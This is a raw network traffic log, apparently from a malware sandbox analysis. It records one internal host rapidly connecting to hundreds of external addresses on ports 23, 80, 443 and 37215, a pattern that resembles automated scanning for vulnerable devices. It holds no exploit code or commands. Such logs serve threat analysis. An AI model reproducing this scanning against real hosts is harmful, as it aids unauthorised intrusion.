Oct 14, 2024 17:30:06.893414974 CEST	54042	443	192.168.2.14	123.183.149.112
Oct 14, 2024 17:30:06.893430948 CEST	54042	443	192.168.2.14	42.169.236.13
Oct 14, 2024 17:30:06.893430948 CEST	54042	443	192.168.2.14	94.176.57.144
Oct 14, 2024 17:30:06.893431902 CEST	56568	23	192.168.2.14	143.190.197.134
Oct 14, 2024 17:30:06.893435001 CEST	54042	443	192.168.2.14	178.86.50.6
Oct 14, 2024 17:30:06.893435955 CEST	54042	443	192.168.2.14	42.25.45.175
Oct 14, 2024 17:30:06.893435001 CEST	54042	443	192.168.2.14	178.46.32.214
Oct 14, 2024 17:30:06.893445015 CEST	58780	23	192.168.2.14	174.81.148.67
Oct 14, 2024 17:30:06.893455029 CEST	60520	23	192.168.2.14	123.128.36.172
Oct 14, 2024 17:30:06.893455982 CEST	54042	443	192.168.2.14	148.221.131.56
Oct 14, 2024 17:30:06.893455982 CEST	54042	443	192.168.2.14	118.197.73.1
Oct 14, 2024 17:30:06.893475056 CEST	54042	443	192.168.2.14	178.65.107.203
Oct 14, 2024 17:30:06.893480062 CEST	54042	443	192.168.2.14	5.198.203.78
Oct 14, 2024 17:30:06.893480062 CEST	54042	443	192.168.2.14	109.179.95.184
Oct 14, 2024 17:30:06.893481970 CEST	54042	443	192.168.2.14	109.162.224.157
Oct 14, 2024 17:30:06.893485069 CEST	48716	23	192.168.2.14	170.229.66.71
Oct 14, 2024 17:30:06.893492937 CEST	54042	443	192.168.2.14	117.184.229.175
Oct 14, 2024 17:30:06.893512011 CEST	44366	23	192.168.2.14	86.130.17.231
Oct 14, 2024 17:30:06.893512011 CEST	54042	443	192.168.2.14	202.218.126.200
Oct 14, 2024 17:30:06.893517971 CEST	54042	443	192.168.2.14	37.84.63.156
Oct 14, 2024 17:30:06.893521070 CEST	54042	443	192.168.2.14	210.38.121.191
Oct 14, 2024 17:30:06.893522024 CEST	54042	443	192.168.2.14	37.84.148.113
Oct 14, 2024 17:30:06.893522978 CEST	54042	443	192.168.2.14	94.12.164.212
Oct 14, 2024 17:30:06.893522978 CEST	55358	23	192.168.2.14	203.216.133.23
Oct 14, 2024 17:30:06.893522978 CEST	54042	443	192.168.2.14	148.230.220.54
Oct 14, 2024 17:30:06.893527031 CEST	54042	443	192.168.2.14	109.18.61.229
Oct 14, 2024 17:30:06.893538952 CEST	54042	443	192.168.2.14	178.219.254.79
Oct 14, 2024 17:30:06.893538952 CEST	34830	23	192.168.2.14	69.112.156.75
Oct 14, 2024 17:30:06.893543005 CEST	54042	443	192.168.2.14	178.66.102.211
Oct 14, 2024 17:30:06.893549919 CEST	54042	443	192.168.2.14	117.81.107.244
Oct 14, 2024 17:30:06.893563986 CEST	54042	443	192.168.2.14	148.44.37.238
Oct 14, 2024 17:30:06.893570900 CEST	52948	23	192.168.2.14	172.58.27.217
Oct 14, 2024 17:30:06.893570900 CEST	54042	443	192.168.2.14	212.238.31.151
Oct 14, 2024 17:30:06.893579960 CEST	54042	443	192.168.2.14	79.73.125.212
Oct 14, 2024 17:30:06.893579960 CEST	37812	23	192.168.2.14	187.130.95.64
Oct 14, 2024 17:30:06.893588066 CEST	80	53274	193.242.101.43	192.168.2.14
Oct 14, 2024 17:30:06.893593073 CEST	47054	23	192.168.2.14	134.111.36.138
Oct 14, 2024 17:30:06.893594027 CEST	54042	443	192.168.2.14	123.213.24.21
Oct 14, 2024 17:30:06.893594980 CEST	80	53274	188.186.24.147	192.168.2.14
Oct 14, 2024 17:30:06.893606901 CEST	54042	443	192.168.2.14	118.196.84.230
Oct 14, 2024 17:30:06.893609047 CEST	49468	23	192.168.2.14	23.3.142.157
Oct 14, 2024 17:30:06.893610954 CEST	54042	443	192.168.2.14	178.97.117.148
Oct 14, 2024 17:30:06.893615007 CEST	54042	443	192.168.2.14	123.41.161.251
Oct 14, 2024 17:30:06.893625021 CEST	80	53274	81.235.158.66	192.168.2.14
Oct 14, 2024 17:30:06.893629074 CEST	54042	443	192.168.2.14	118.236.35.55
Oct 14, 2024 17:30:06.893630981 CEST	37215	53786	41.46.36.133	192.168.2.14
Oct 14, 2024 17:30:06.893632889 CEST	53274	80	192.168.2.14	188.186.24.147
Oct 14, 2024 17:30:06.893644094 CEST	58732	23	192.168.2.14	158.53.220.120
Oct 14, 2024 17:30:06.893645048 CEST	80	53274	72.62.242.204	192.168.2.14
Oct 14, 2024 17:30:06.893649101 CEST	53274	80	192.168.2.14	193.242.101.43
Oct 14, 2024 17:30:06.893651009 CEST	37215	53786	156.55.50.120	192.168.2.14
Oct 14, 2024 17:30:06.893651962 CEST	43636	23	192.168.2.14	171.68.202.151
Oct 14, 2024 17:30:06.893656969 CEST	37215	53786	156.74.82.48	192.168.2.14
Oct 14, 2024 17:30:06.893659115 CEST	54042	443	192.168.2.14	212.250.207.216
Oct 14, 2024 17:30:06.893661022 CEST	53786	37215	192.168.2.14	41.46.36.133
Oct 14, 2024 17:30:06.893662930 CEST	80	53274	39.116.41.10	192.168.2.14
Oct 14, 2024 17:30:06.893670082 CEST	37215	53786	41.178.250.222	192.168.2.14
Oct 14, 2024 17:30:06.893675089 CEST	37215	53786	156.157.161.154	192.168.2.14
Oct 14, 2024 17:30:06.893680096 CEST	80	53274	189.12.29.128	192.168.2.14
Oct 14, 2024 17:30:06.893688917 CEST	54042	443	192.168.2.14	109.86.213.215
Oct 14, 2024 17:30:06.893690109 CEST	53274	80	192.168.2.14	72.62.242.204
Oct 14, 2024 17:30:06.893692017 CEST	54042	443	192.168.2.14	210.27.137.202
Oct 14, 2024 17:30:06.893692017 CEST	53274	80	192.168.2.14	81.235.158.66
Oct 14, 2024 17:30:06.893697977 CEST	53786	37215	192.168.2.14	156.74.82.48
Oct 14, 2024 17:30:06.893698931 CEST	80	53274	174.70.41.238	192.168.2.14
Oct 14, 2024 17:30:06.893697977 CEST	53786	37215	192.168.2.14	156.55.50.120
Oct 14, 2024 17:30:06.893697977 CEST	53274	80	192.168.2.14	39.116.41.10
Oct 14, 2024 17:30:06.893702984 CEST	53786	37215	192.168.2.14	41.178.250.222
Oct 14, 2024 17:30:06.893706083 CEST	80	53274	168.135.208.53	192.168.2.14
Oct 14, 2024 17:30:06.893706083 CEST	53786	37215	192.168.2.14	156.157.161.154
Oct 14, 2024 17:30:06.893712997 CEST	53274	80	192.168.2.14	189.12.29.128
Oct 14, 2024 17:30:06.893713951 CEST	80	53274	210.243.132.111	192.168.2.14
Oct 14, 2024 17:30:06.893712997 CEST	54042	443	192.168.2.14	210.172.214.131
Oct 14, 2024 17:30:06.893719912 CEST	80	53274	78.162.201.217	192.168.2.14
Oct 14, 2024 17:30:06.893733978 CEST	37215	53786	197.160.243.157	192.168.2.14
Oct 14, 2024 17:30:06.893733978 CEST	54042	443	192.168.2.14	5.39.81.223
Oct 14, 2024 17:30:06.893737078 CEST	60468	23	192.168.2.14	70.220.128.134
Oct 14, 2024 17:30:06.893739939 CEST	37215	53786	156.23.195.198	192.168.2.14
Oct 14, 2024 17:30:06.893748045 CEST	53274	80	192.168.2.14	174.70.41.238
Oct 14, 2024 17:30:06.893752098 CEST	37215	53786	197.50.164.153	192.168.2.14
Oct 14, 2024 17:30:06.893755913 CEST	54042	443	192.168.2.14	109.59.139.206
Oct 14, 2024 17:30:06.893755913 CEST	53274	80	192.168.2.14	78.162.201.217
Oct 14, 2024 17:30:06.893757105 CEST	53274	80	192.168.2.14	168.135.208.53
Oct 14, 2024 17:30:06.893759012 CEST	37215	53786	156.230.214.12	192.168.2.14
Oct 14, 2024 17:30:06.893764973 CEST	37215	53786	197.225.241.209	192.168.2.14
Oct 14, 2024 17:30:06.893770933 CEST	37215	53786	41.169.17.139	192.168.2.14
Oct 14, 2024 17:30:06.893774986 CEST	53274	80	192.168.2.14	210.243.132.111
Oct 14, 2024 17:30:06.893776894 CEST	37215	53786	197.149.101.167	192.168.2.14
Oct 14, 2024 17:30:06.893776894 CEST	53786	37215	192.168.2.14	197.50.164.153
Oct 14, 2024 17:30:06.893776894 CEST	53876	23	192.168.2.14	153.83.241.119
Oct 14, 2024 17:30:06.893779993 CEST	53786	37215	192.168.2.14	197.160.243.157
Oct 14, 2024 17:30:06.893783092 CEST	37215	53786	156.12.51.36	192.168.2.14
Oct 14, 2024 17:30:06.893788099 CEST	53786	37215	192.168.2.14	156.23.195.198
Oct 14, 2024 17:30:06.893789053 CEST	37215	53786	41.17.179.102	192.168.2.14
Oct 14, 2024 17:30:06.893795967 CEST	37215	53786	156.56.158.251	192.168.2.14
Oct 14, 2024 17:30:06.893801928 CEST	37215	53786	156.149.126.98	192.168.2.14
Oct 14, 2024 17:30:06.893804073 CEST	53786	37215	192.168.2.14	156.230.214.12
Oct 14, 2024 17:30:06.893804073 CEST	53786	37215	192.168.2.14	197.225.241.209
Oct 14, 2024 17:30:06.893807888 CEST	37215	53786	41.147.138.81	192.168.2.14
Oct 14, 2024 17:30:06.893811941 CEST	53786	37215	192.168.2.14	41.169.17.139
Oct 14, 2024 17:30:06.893814087 CEST	37215	53786	41.78.105.30	192.168.2.14
Oct 14, 2024 17:30:06.893821955 CEST	53786	37215	192.168.2.14	197.149.101.167
Oct 14, 2024 17:30:06.893825054 CEST	53786	37215	192.168.2.14	156.56.158.251
Oct 14, 2024 17:30:06.893830061 CEST	53786	37215	192.168.2.14	156.12.51.36
Oct 14, 2024 17:30:06.893836975 CEST	53786	37215	192.168.2.14	41.17.179.102
Oct 14, 2024 17:30:06.893840075 CEST	37472	23	192.168.2.14	200.32.91.185
Oct 14, 2024 17:30:06.893840075 CEST	53786	37215	192.168.2.14	41.78.105.30
Oct 14, 2024 17:30:06.893852949 CEST	53786	37215	192.168.2.14	41.147.138.81
Oct 14, 2024 17:30:06.893853903 CEST	53786	37215	192.168.2.14	156.149.126.98
Oct 14, 2024 17:30:06.893861055 CEST	56722	23	192.168.2.14	84.212.186.125
Oct 14, 2024 17:30:06.893861055 CEST	54042	443	192.168.2.14	37.23.76.94
Oct 14, 2024 17:30:06.893865108 CEST	54042	443	192.168.2.14	210.230.23.77
Oct 14, 2024 17:30:06.893872023 CEST	54042	443	192.168.2.14	117.9.117.239
Oct 14, 2024 17:30:06.893873930 CEST	46296	23	192.168.2.14	182.177.51.199
Oct 14, 2024 17:30:06.893887043 CEST	54042	443	192.168.2.14	42.107.205.69
Oct 14, 2024 17:30:06.893887043 CEST	54042	443	192.168.2.14	118.248.214.28
Oct 14, 2024 17:30:06.893902063 CEST	54042	443	192.168.2.14	94.38.150.94
Oct 14, 2024 17:30:06.893919945 CEST	54042	443	192.168.2.14	123.79.129.248
Oct 14, 2024 17:30:06.893919945 CEST	54042	443	192.168.2.14	212.93.21.119
Oct 14, 2024 17:30:06.893922091 CEST	58062	23	192.168.2.14	158.147.22.60
Oct 14, 2024 17:30:06.893923044 CEST	56376	23	192.168.2.14	170.77.226.10
Oct 14, 2024 17:30:06.893923044 CEST	54042	443	192.168.2.14	202.209.136.44
Oct 14, 2024 17:30:06.893934965 CEST	54042	443	192.168.2.14	42.129.189.242
Oct 14, 2024 17:30:06.893943071 CEST	54042	443	192.168.2.14	123.103.174.79
Oct 14, 2024 17:30:06.893943071 CEST	44266	23	192.168.2.14	151.90.142.103
Oct 14, 2024 17:30:06.893954039 CEST	54042	443	192.168.2.14	94.140.46.122
Oct 14, 2024 17:30:06.893974066 CEST	54042	443	192.168.2.14	210.159.174.179
Oct 14, 2024 17:30:06.893985033 CEST	54042	443	192.168.2.14	79.167.153.188
Oct 14, 2024 17:30:06.893994093 CEST	54042	443	192.168.2.14	42.34.67.162
Oct 14, 2024 17:30:06.893997908 CEST	54042	443	192.168.2.14	148.226.70.178
Oct 14, 2024 17:30:06.893999100 CEST	54042	443	192.168.2.14	109.157.130.209
Oct 14, 2024 17:30:06.894000053 CEST	54042	443	192.168.2.14	109.32.106.229
Oct 14, 2024 17:30:06.894000053 CEST	54042	443	192.168.2.14	118.205.179.131
Oct 14, 2024 17:30:06.894012928 CEST	54042	443	192.168.2.14	79.244.135.114
Oct 14, 2024 17:30:06.894027948 CEST	80	53274	42.105.173.58	192.168.2.14
Oct 14, 2024 17:30:06.894030094 CEST	54042	443	192.168.2.14	2.16.248.52
Oct 14, 2024 17:30:06.894036055 CEST	54042	443	192.168.2.14	2.132.0.55
Oct 14, 2024 17:30:06.894036055 CEST	37215	53786	41.50.77.95	192.168.2.14
Oct 14, 2024 17:30:06.894043922 CEST	54042	443	192.168.2.14	109.170.166.175
Oct 14, 2024 17:30:06.894046068 CEST	54042	443	192.168.2.14	2.228.151.49
Oct 14, 2024 17:30:06.894054890 CEST	80	53274	25.248.148.225	192.168.2.14
Oct 14, 2024 17:30:06.894057989 CEST	54042	443	192.168.2.14	37.55.194.69
Oct 14, 2024 17:30:06.894061089 CEST	80	53274	46.75.20.254	192.168.2.14
Oct 14, 2024 17:30:06.894062996 CEST	54042	443	192.168.2.14	210.126.154.248
Oct 14, 2024 17:30:06.894074917 CEST	80	53274	169.19.161.5	192.168.2.14
Oct 14, 2024 17:30:06.894078970 CEST	53786	37215	192.168.2.14	41.50.77.95
Oct 14, 2024 17:30:06.894081116 CEST	37215	53786	156.203.149.253	192.168.2.14
Oct 14, 2024 17:30:06.894085884 CEST	80	53274	142.244.200.27	192.168.2.14
Oct 14, 2024 17:30:06.894098997 CEST	80	53274	206.27.30.39	192.168.2.14
Oct 14, 2024 17:30:06.894102097 CEST	53274	80	192.168.2.14	25.248.148.225
Oct 14, 2024 17:30:06.894104004 CEST	80	53274	88.26.232.122	192.168.2.14
Oct 14, 2024 17:30:06.894105911 CEST	53274	80	192.168.2.14	169.19.161.5
Oct 14, 2024 17:30:06.894107103 CEST	54042	443	192.168.2.14	123.28.57.128
Oct 14, 2024 17:30:06.894107103 CEST	53274	80	192.168.2.14	46.75.20.254
Oct 14, 2024 17:30:06.894108057 CEST	53274	80	192.168.2.14	42.105.173.58
Oct 14, 2024 17:30:06.894107103 CEST	54042	443	192.168.2.14	210.10.22.60
Oct 14, 2024 17:30:06.894109964 CEST	80	53274	84.150.177.205	192.168.2.14
Oct 14, 2024 17:30:06.894121885 CEST	54042	443	192.168.2.14	178.68.239.173
Oct 14, 2024 17:30:06.894124031 CEST	53786	37215	192.168.2.14	156.203.149.253
Oct 14, 2024 17:30:06.894124985 CEST	80	53274	121.84.225.161	192.168.2.14
Oct 14, 2024 17:30:06.894131899 CEST	80	53274	143.65.17.40	192.168.2.14
Oct 14, 2024 17:30:06.894134998 CEST	53274	80	192.168.2.14	206.27.30.39
Oct 14, 2024 17:30:06.894138098 CEST	80	53274	49.52.43.66	192.168.2.14
Oct 14, 2024 17:30:06.894143105 CEST	53274	80	192.168.2.14	88.26.232.122
Oct 14, 2024 17:30:06.894144058 CEST	80	53274	216.121.149.240	192.168.2.14
Oct 14, 2024 17:30:06.894149065 CEST	80	53274	27.45.60.85	192.168.2.14
Oct 14, 2024 17:30:06.894159079 CEST	54042	443	192.168.2.14	37.18.218.188
Oct 14, 2024 17:30:06.894161940 CEST	53274	80	192.168.2.14	142.244.200.27
Oct 14, 2024 17:30:06.894162893 CEST	80	53274	63.3.208.21	192.168.2.14
Oct 14, 2024 17:30:06.894161940 CEST	54042	443	192.168.2.14	212.190.79.124
Oct 14, 2024 17:30:06.894169092 CEST	80	53274	171.119.80.214	192.168.2.14
Oct 14, 2024 17:30:06.894172907 CEST	53274	80	192.168.2.14	49.52.43.66
Oct 14, 2024 17:30:06.894175053 CEST	80	53274	87.156.27.103	192.168.2.14
Oct 14, 2024 17:30:06.894181013 CEST	80	53274	145.130.25.4	192.168.2.14
Oct 14, 2024 17:30:06.894182920 CEST	53274	80	192.168.2.14	216.121.149.240
Oct 14, 2024 17:30:06.894182920 CEST	53274	80	192.168.2.14	27.45.60.85
Oct 14, 2024 17:30:06.894186020 CEST	80	53274	182.22.183.65	192.168.2.14
Oct 14, 2024 17:30:06.894191980 CEST	80	53274	179.2.209.228	192.168.2.14
Oct 14, 2024 17:30:06.894196987 CEST	80	53274	180.41.164.188	192.168.2.14
Oct 14, 2024 17:30:06.894211054 CEST	80	53274	134.253.81.158	192.168.2.14
Oct 14, 2024 17:30:06.894217014 CEST	80	53274	188.129.38.177	192.168.2.14
Oct 14, 2024 17:30:06.894229889 CEST	80	53274	170.137.25.220	192.168.2.14
Oct 14, 2024 17:30:06.894237995 CEST	80	53274	149.110.54.160	192.168.2.14
Oct 14, 2024 17:30:06.894243002 CEST	80	53274	45.93.239.120	192.168.2.14
Oct 14, 2024 17:30:06.894248962 CEST	80	53274	94.247.139.252	192.168.2.14
Oct 14, 2024 17:30:06.894279957 CEST	80	53274	192.136.150.95	192.168.2.14
Oct 14, 2024 17:30:06.894279957 CEST	53274	80	192.168.2.14	84.150.177.205
Oct 14, 2024 17:30:06.894279957 CEST	53274	80	192.168.2.14	63.3.208.21
Oct 14, 2024 17:30:06.894285917 CEST	80	53274	166.214.131.85	192.168.2.14
Oct 14, 2024 17:30:06.894292116 CEST	80	53274	109.83.218.152	192.168.2.14
Oct 14, 2024 17:30:06.894296885 CEST	80	53274	118.87.65.215	192.168.2.14
Oct 14, 2024 17:30:06.894299984 CEST	53274	80	192.168.2.14	121.84.225.161
Oct 14, 2024 17:30:06.894303083 CEST	80	53274	132.239.31.227	192.168.2.14
Oct 14, 2024 17:30:06.894309998 CEST	80	53274	143.134.121.209	192.168.2.14
Oct 14, 2024 17:30:06.894315004 CEST	53274	80	192.168.2.14	143.65.17.40
Oct 14, 2024 17:30:06.894315004 CEST	53274	80	192.168.2.14	171.119.80.214
Oct 14, 2024 17:30:06.894320011 CEST	53274	80	192.168.2.14	87.156.27.103
Oct 14, 2024 17:30:06.894323111 CEST	53274	80	192.168.2.14	145.130.25.4
Oct 14, 2024 17:30:06.894330978 CEST	53274	80	192.168.2.14	149.110.54.160
Oct 14, 2024 17:30:06.894335032 CEST	53274	80	192.168.2.14	134.253.81.158
Oct 14, 2024 17:30:06.894335032 CEST	53274	80	192.168.2.14	182.22.183.65
Oct 14, 2024 17:30:06.894345045 CEST	53274	80	192.168.2.14	179.2.209.228
Oct 14, 2024 17:30:06.894354105 CEST	53274	80	192.168.2.14	188.129.38.177
Oct 14, 2024 17:30:06.894360065 CEST	53274	80	192.168.2.14	170.137.25.220
Oct 14, 2024 17:30:06.894362926 CEST	53274	80	192.168.2.14	94.247.139.252
Oct 14, 2024 17:30:06.894362926 CEST	53274	80	192.168.2.14	45.93.239.120
Oct 14, 2024 17:30:06.894370079 CEST	53274	80	192.168.2.14	118.87.65.215
Oct 14, 2024 17:30:06.894375086 CEST	53274	80	192.168.2.14	166.214.131.85
Oct 14, 2024 17:30:06.894378901 CEST	53274	80	192.168.2.14	143.134.121.209
Oct 14, 2024 17:30:06.894378901 CEST	53274	80	192.168.2.14	132.239.31.227
Oct 14, 2024 17:30:06.894387007 CEST	80	53274	87.99.139.116	192.168.2.14
Oct 14, 2024 17:30:06.894393921 CEST	80	53274	143.119.169.145	192.168.2.14
Oct 14, 2024 17:30:06.894398928 CEST	80	53274	173.147.45.50	192.168.2.14
Oct 14, 2024 17:30:06.894398928 CEST	53274	80	192.168.2.14	192.136.150.95
Oct 14, 2024 17:30:06.894399881 CEST	53274	80	192.168.2.14	180.41.164.188
Oct 14, 2024 17:30:06.894401073 CEST	53274	80	192.168.2.14	109.83.218.152
Oct 14, 2024 17:30:06.894412041 CEST	80	53274	50.133.1.151	192.168.2.14
Oct 14, 2024 17:30:06.894413948 CEST	54042	443	192.168.2.14	148.190.68.145
Oct 14, 2024 17:30:06.894418001 CEST	80	53274	18.249.10.234	192.168.2.14
Oct 14, 2024 17:30:06.894423008 CEST	80	53274	156.12.237.143	192.168.2.14
Oct 14, 2024 17:30:06.894433022 CEST	54042	443	192.168.2.14	79.174.62.151
Oct 14, 2024 17:30:06.894433022 CEST	53274	80	192.168.2.14	87.99.139.116
Oct 14, 2024 17:30:06.894433975 CEST	54042	443	192.168.2.14	123.63.123.233
Oct 14, 2024 17:30:06.894433022 CEST	54042	443	192.168.2.14	118.106.111.25
Oct 14, 2024 17:30:06.894435883 CEST	80	53274	34.99.2.54	192.168.2.14
Oct 14, 2024 17:30:06.894434929 CEST	54042	443	192.168.2.14	123.220.19.138
Oct 14, 2024 17:30:06.894437075 CEST	54042	443	192.168.2.14	202.163.34.183
Oct 14, 2024 17:30:06.894437075 CEST	53274	80	192.168.2.14	18.249.10.234
Oct 14, 2024 17:30:06.894442081 CEST	53274	80	192.168.2.14	173.147.45.50
Oct 14, 2024 17:30:06.894442081 CEST	80	53274	166.26.161.110	192.168.2.14
Oct 14, 2024 17:30:06.894448996 CEST	80	53274	18.163.78.46	192.168.2.14
Oct 14, 2024 17:30:06.894448996 CEST	54042	443	192.168.2.14	42.104.209.166
Oct 14, 2024 17:30:06.894452095 CEST	53274	80	192.168.2.14	143.119.169.145
Oct 14, 2024 17:30:06.894452095 CEST	54042	443	192.168.2.14	123.109.132.191
Oct 14, 2024 17:30:06.894454002 CEST	80	53274	188.102.90.168	192.168.2.14
Oct 14, 2024 17:30:06.894455910 CEST	54042	443	192.168.2.14	5.96.65.19
Oct 14, 2024 17:30:06.894458055 CEST	53274	80	192.168.2.14	50.133.1.151
Oct 14, 2024 17:30:06.894458055 CEST	54042	443	192.168.2.14	79.144.153.189
Oct 14, 2024 17:30:06.894462109 CEST	53274	80	192.168.2.14	156.12.237.143
Oct 14, 2024 17:30:06.894464016 CEST	54042	443	192.168.2.14	79.212.36.101
Oct 14, 2024 17:30:06.894468069 CEST	80	53274	139.186.121.152	192.168.2.14
Oct 14, 2024 17:30:06.894469023 CEST	53274	80	192.168.2.14	34.99.2.54
Oct 14, 2024 17:30:06.894474030 CEST	80	53274	153.77.31.26	192.168.2.14
Oct 14, 2024 17:30:06.894480944 CEST	80	53274	110.81.210.7	192.168.2.14
Oct 14, 2024 17:30:06.894484043 CEST	53274	80	192.168.2.14	166.26.161.110
Oct 14, 2024 17:30:06.894484043 CEST	53274	80	192.168.2.14	18.163.78.46
Oct 14, 2024 17:30:06.894485950 CEST	80	53274	218.68.45.159	192.168.2.14
Oct 14, 2024 17:30:06.894491911 CEST	80	53274	46.77.22.186	192.168.2.14
Oct 14, 2024 17:30:06.894491911 CEST	53274	80	192.168.2.14	188.102.90.168
Oct 14, 2024 17:30:06.894496918 CEST	80	53274	53.186.183.108	192.168.2.14
Oct 14, 2024 17:30:06.894507885 CEST	54042	443	192.168.2.14	94.41.72.52
Oct 14, 2024 17:30:06.894509077 CEST	80	53274	216.177.7.174	192.168.2.14
Oct 14, 2024 17:30:06.894511938 CEST	54042	443	192.168.2.14	123.11.253.218
Oct 14, 2024 17:30:06.894515038 CEST	80	53274	171.169.110.177	192.168.2.14
Oct 14, 2024 17:30:06.894520044 CEST	53274	80	192.168.2.14	139.186.121.152
Oct 14, 2024 17:30:06.894520998 CEST	80	53274	150.42.224.221	192.168.2.14
Oct 14, 2024 17:30:06.894520998 CEST	53274	80	192.168.2.14	153.77.31.26
Oct 14, 2024 17:30:06.894524097 CEST	53274	80	192.168.2.14	110.81.210.7
Oct 14, 2024 17:30:06.894524097 CEST	53274	80	192.168.2.14	218.68.45.159
Oct 14, 2024 17:30:06.894526958 CEST	80	53274	85.146.219.54	192.168.2.14
Oct 14, 2024 17:30:06.894535065 CEST	80	53274	83.191.110.243	192.168.2.14
Oct 14, 2024 17:30:06.894540071 CEST	80	53274	196.217.63.149	192.168.2.14
Oct 14, 2024 17:30:06.894542933 CEST	53274	80	192.168.2.14	46.77.22.186
Oct 14, 2024 17:30:06.894542933 CEST	53274	80	192.168.2.14	53.186.183.108
Oct 14, 2024 17:30:06.894545078 CEST	53274	80	192.168.2.14	216.177.7.174
Oct 14, 2024 17:30:06.894545078 CEST	53274	80	192.168.2.14	171.169.110.177
Oct 14, 2024 17:30:06.894551992 CEST	54042	443	192.168.2.14	118.92.169.240
Oct 14, 2024 17:30:06.894563913 CEST	53274	80	192.168.2.14	150.42.224.221
Oct 14, 2024 17:30:06.894572020 CEST	53274	80	192.168.2.14	85.146.219.54
Oct 14, 2024 17:30:06.894573927 CEST	53274	80	192.168.2.14	83.191.110.243
Oct 14, 2024 17:30:06.894592047 CEST	54042	443	192.168.2.14	117.71.8.152
Oct 14, 2024 17:30:06.894592047 CEST	53274	80	192.168.2.14	196.217.63.149
Oct 14, 2024 17:30:06.894592047 CEST	54042	443	192.168.2.14	79.102.237.121
Oct 14, 2024 17:30:06.894613981 CEST	54042	443	192.168.2.14	117.239.81.15
Oct 14, 2024 17:30:06.894615889 CEST	54042	443	192.168.2.14	123.71.247.74
Oct 14, 2024 17:30:06.894615889 CEST	54042	443	192.168.2.14	94.40.23.207
Oct 14, 2024 17:30:06.894617081 CEST	54042	443	192.168.2.14	202.79.175.227
Oct 14, 2024 17:30:06.894617081 CEST	54042	443	192.168.2.14	212.207.99.220
Oct 14, 2024 17:30:06.894622087 CEST	54042	443	192.168.2.14	123.48.127.160
Oct 14, 2024 17:30:06.894638062 CEST	54042	443	192.168.2.14	178.132.34.189
Oct 14, 2024 17:30:06.894644976 CEST	54042	443	192.168.2.14	37.81.82.96
Oct 14, 2024 17:30:06.894659042 CEST	54042	443	192.168.2.14	94.88.23.8
Oct 14, 2024 17:30:06.894665956 CEST	54042	443	192.168.2.14	118.32.222.82
Oct 14, 2024 17:30:06.894669056 CEST	54042	443	192.168.2.14	94.231.6.229
Oct 14, 2024 17:30:06.894679070 CEST	54042	443	192.168.2.14	123.52.62.55
Oct 14, 2024 17:30:06.894695997 CEST	54042	443	192.168.2.14	148.112.254.26
Oct 14, 2024 17:30:06.894695997 CEST	54042	443	192.168.2.14	212.140.204.183
Oct 14, 2024 17:30:06.894697905 CEST	54042	443	192.168.2.14	202.89.120.65
Oct 14, 2024 17:30:06.894699097 CEST	80	53274	181.253.55.234	192.168.2.14
Oct 14, 2024 17:30:06.894705057 CEST	80	53274	189.245.197.81	192.168.2.14
Oct 14, 2024 17:30:06.894711018 CEST	80	53274	129.28.141.167	192.168.2.14
Oct 14, 2024 17:30:06.894716978 CEST	80	53274	187.196.11.106	192.168.2.14
Oct 14, 2024 17:30:06.894718885 CEST	54042	443	192.168.2.14	5.206.111.51
Oct 14, 2024 17:30:06.894722939 CEST	80	53274	20.166.149.8	192.168.2.14
Oct 14, 2024 17:30:06.894723892 CEST	54042	443	192.168.2.14	5.162.121.37
Oct 14, 2024 17:30:06.894727945 CEST	80	53274	218.9.230.240	192.168.2.14
Oct 14, 2024 17:30:06.894732952 CEST	80	53274	81.110.35.249	192.168.2.14
Oct 14, 2024 17:30:06.894737959 CEST	80	53274	49.152.222.4	192.168.2.14
Oct 14, 2024 17:30:06.894743919 CEST	80	53274	136.108.166.124	192.168.2.14
Oct 14, 2024 17:30:06.894746065 CEST	53274	80	192.168.2.14	181.253.55.234
Oct 14, 2024 17:30:06.894747972 CEST	54042	443	192.168.2.14	118.100.200.18
Oct 14, 2024 17:30:06.894747972 CEST	53274	80	192.168.2.14	187.196.11.106
Oct 14, 2024 17:30:06.894748926 CEST	80	53274	133.140.101.205	192.168.2.14
Oct 14, 2024 17:30:06.894754887 CEST	53274	80	192.168.2.14	189.245.197.81
Oct 14, 2024 17:30:06.894754887 CEST	53274	80	192.168.2.14	129.28.141.167
Oct 14, 2024 17:30:06.894777060 CEST	53274	80	192.168.2.14	133.140.101.205
Oct 14, 2024 17:30:06.894778967 CEST	80	53274	111.48.217.136	192.168.2.14
Oct 14, 2024 17:30:06.894783020 CEST	53274	80	192.168.2.14	218.9.230.240
Oct 14, 2024 17:30:06.894783020 CEST	53274	80	192.168.2.14	20.166.149.8
Oct 14, 2024 17:30:06.894784927 CEST	80	53274	81.244.151.237	192.168.2.14
Oct 14, 2024 17:30:06.894787073 CEST	53274	80	192.168.2.14	49.152.222.4
Oct 14, 2024 17:30:06.894790888 CEST	80	53274	84.88.219.128	192.168.2.14
Oct 14, 2024 17:30:06.894797087 CEST	80	53274	124.231.162.204	192.168.2.14
Oct 14, 2024 17:30:06.894802094 CEST	80	53274	180.148.62.164	192.168.2.14
Oct 14, 2024 17:30:06.894805908 CEST	53274	80	192.168.2.14	81.110.35.249
Oct 14, 2024 17:30:06.894805908 CEST	53274	80	192.168.2.14	136.108.166.124
Oct 14, 2024 17:30:06.894808054 CEST	80	53274	61.159.62.64	192.168.2.14
Oct 14, 2024 17:30:06.894809961 CEST	54042	443	192.168.2.14	94.61.113.90
Oct 14, 2024 17:30:06.894813061 CEST	80	53274	143.255.200.217	192.168.2.14
Oct 14, 2024 17:30:06.894825935 CEST	80	53274	169.101.30.27	192.168.2.14
Oct 14, 2024 17:30:06.894831896 CEST	80	53274	165.119.64.196	192.168.2.14
Oct 14, 2024 17:30:06.894844055 CEST	80	53274	51.108.195.17	192.168.2.14
Oct 14, 2024 17:30:06.894850016 CEST	80	53274	138.231.26.216	192.168.2.14
Oct 14, 2024 17:30:06.894855022 CEST	80	53274	196.247.45.22	192.168.2.14
Oct 14, 2024 17:30:06.894860029 CEST	80	53274	163.214.134.37	192.168.2.14
Oct 14, 2024 17:30:06.894860029 CEST	53274	80	192.168.2.14	81.244.151.237
Oct 14, 2024 17:30:06.894860983 CEST	53274	80	192.168.2.14	111.48.217.136
Oct 14, 2024 17:30:06.894860983 CEST	53274	80	192.168.2.14	124.231.162.204
Oct 14, 2024 17:30:06.894860983 CEST	53274	80	192.168.2.14	180.148.62.164
Oct 14, 2024 17:30:06.894864082 CEST	53274	80	192.168.2.14	61.159.62.64
Oct 14, 2024 17:30:06.894865990 CEST	80	53274	84.35.151.71	192.168.2.14
Oct 14, 2024 17:30:06.894871950 CEST	80	53274	181.63.255.108	192.168.2.14
